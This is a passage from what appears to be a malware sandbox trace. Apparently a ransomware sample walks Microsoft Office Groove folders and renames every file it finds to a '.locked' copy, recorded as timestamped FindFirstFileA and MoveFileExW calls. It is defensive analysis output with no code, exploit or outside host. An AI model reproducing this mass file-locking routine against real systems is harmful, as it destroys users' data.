ftLastWriteTime.dwLowDateTime=0xbb0b0760, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.373] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue\\background.gif.locked"), dwFlags=0x2) returned 1 [0040.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue.css.locked"), dwFlags=0x2) returned 1 [0040.384] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb0d68c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbb0d68c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.390] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css.locked"), dwFlags=0x2) returned 1 [0040.395] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css.locked"), dwFlags=0x2) returned 1 [0040.399] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb0fca20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbb0fca20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.401] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif.locked"), dwFlags=0x2) returned 1 [0040.408] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css.locked"), dwFlags=0x2) returned 1 [0040.411] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", lpFindFileData=0x4296e8 | out: lpFindFileData=0x4296e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb122b80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbb122b80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14, dwReserved1=0x4294d0, cFileName=".", cAlternateFileName="")) returned 0x825a10 [0040.417] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif.locked"), dwFlags=0x2) returned 1 [0040.423] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css.locked"), dwFlags=0x2) returned 1 [0040.427] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css.locked"), dwFlags=0x2) returned 1 [0040.431] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css.locked"), dwFlags=0x2) returned 1 [0040.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\VelvetRose.css.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\velvetrose.css.locked"), dwFlags=0x2) returned 1 [0040.443] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg.locked"), dwFlags=0x2) returned 1 [0040.446] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticonsmask.bmp.locked"), dwFlags=0x2) returned 1 [0040.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewFrame.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewframe.html.locked"), dwFlags=0x2) returned 1 [0040.459] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewtemplate.html.locked"), dwFlags=0x2) returned 1 [0040.469] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg.locked"), dwFlags=0x2) returned 1 [0040.481] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\form_edit.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form_edit.js.locked"), dwFlags=0x2) returned 1 [0040.607] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\macroprogress.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\macroprogress.gif.locked"), dwFlags=0x2) returned 1 [0040.620] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\PublicFunctions.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\publicfunctions.js.locked"), dwFlags=0x2) returned 1 [0040.623] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignleft.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignleft.gif.locked"), dwFlags=0x2) returned 1 [0040.626] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_alignright.gif.locked"), dwFlags=0x2) returned 1 [0040.629] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_bullets.gif.locked"), dwFlags=0x2) returned 1 [0040.632] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_center.gif.locked"), dwFlags=0x2) returned 1 [0040.635] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosecolor.gif.locked"), dwFlags=0x2) returned 1 [0040.638] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_choosefont.gif.locked"), dwFlags=0x2) returned 1 [0040.642] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_decreaseindent.gif.locked"), dwFlags=0x2) returned 1 [0040.644] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_hyperlink.gif.locked"), dwFlags=0x2) returned 1 [0040.647] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_increaseindent.gif.locked"), dwFlags=0x2) returned 1 [0040.650] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_italic.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_italic.gif.locked"), dwFlags=0x2) returned 1 [0040.653] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_justify.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_justify.gif.locked"), dwFlags=0x2) returned 1 [0040.656] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_pressed.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_pressed.gif.locked"), dwFlags=0x2) returned 1 [0040.658] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_spellcheck.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_spellcheck.gif.locked"), dwFlags=0x2) returned 1 [0040.661] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_underline.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\rtf_underline.gif.locked"), dwFlags=0x2) returned 1 [0040.712] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\utilityfunctions.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\utilityfunctions.js.locked"), dwFlags=0x2) returned 1 [0040.827] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\validation.js.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\validation.js.locked"), dwFlags=0x2) returned 1 [0040.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ViewHeaderPreview.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\viewheaderpreview.jpg.locked"), dwFlags=0x2) returned 1 [0040.878] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbb5994c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xbb5994c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0040.884] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\attention.gif.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\attention.gif.locked"), dwFlags=0x2) returned 1 [0040.887] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBlankPage.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsblankpage.html.locked"), dwFlags=0x2) returned 1 [0040.892] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsBrowserUpgrade.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsbrowserupgrade.html.locked"), dwFlags=0x2) returned 1 [0040.894] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html.locked"), dwFlags=0x2) returned 1 [0040.902] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplate.html.locked"), dwFlags=0x2) returned 1 [0040.909] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsFormTemplateRTL.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsformtemplatertl.html.locked"), dwFlags=0x2) returned 1 [0040.913] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsImageTemplate.html.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsimagetemplate.html.locked"), dwFlags=0x2) returned 1 [0040.918] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsmacrotemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsMacroTemplate.html.locked" (normalized: "c:\\program 